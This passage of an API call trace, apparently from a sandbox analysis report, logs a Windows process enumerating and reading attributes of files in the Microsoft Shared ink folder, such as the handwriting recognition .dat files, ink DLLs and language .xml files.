nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0234.505] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0234.825] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904be0 [0234.828] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x904be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.828] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.835] NtClose (Handle=0x1bc) returned 0x0 [0234.835] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.835] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.835] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.835] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.835] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.835] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901aa8 [0234.835] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.836] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0234.836] GetLastError () returned 0x12 [0234.836] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.836] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0234.836] GetLastError () returned 0x12 [0234.836] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901aa8) returned 1 [0234.836] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.836] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.836] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0234.836] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, 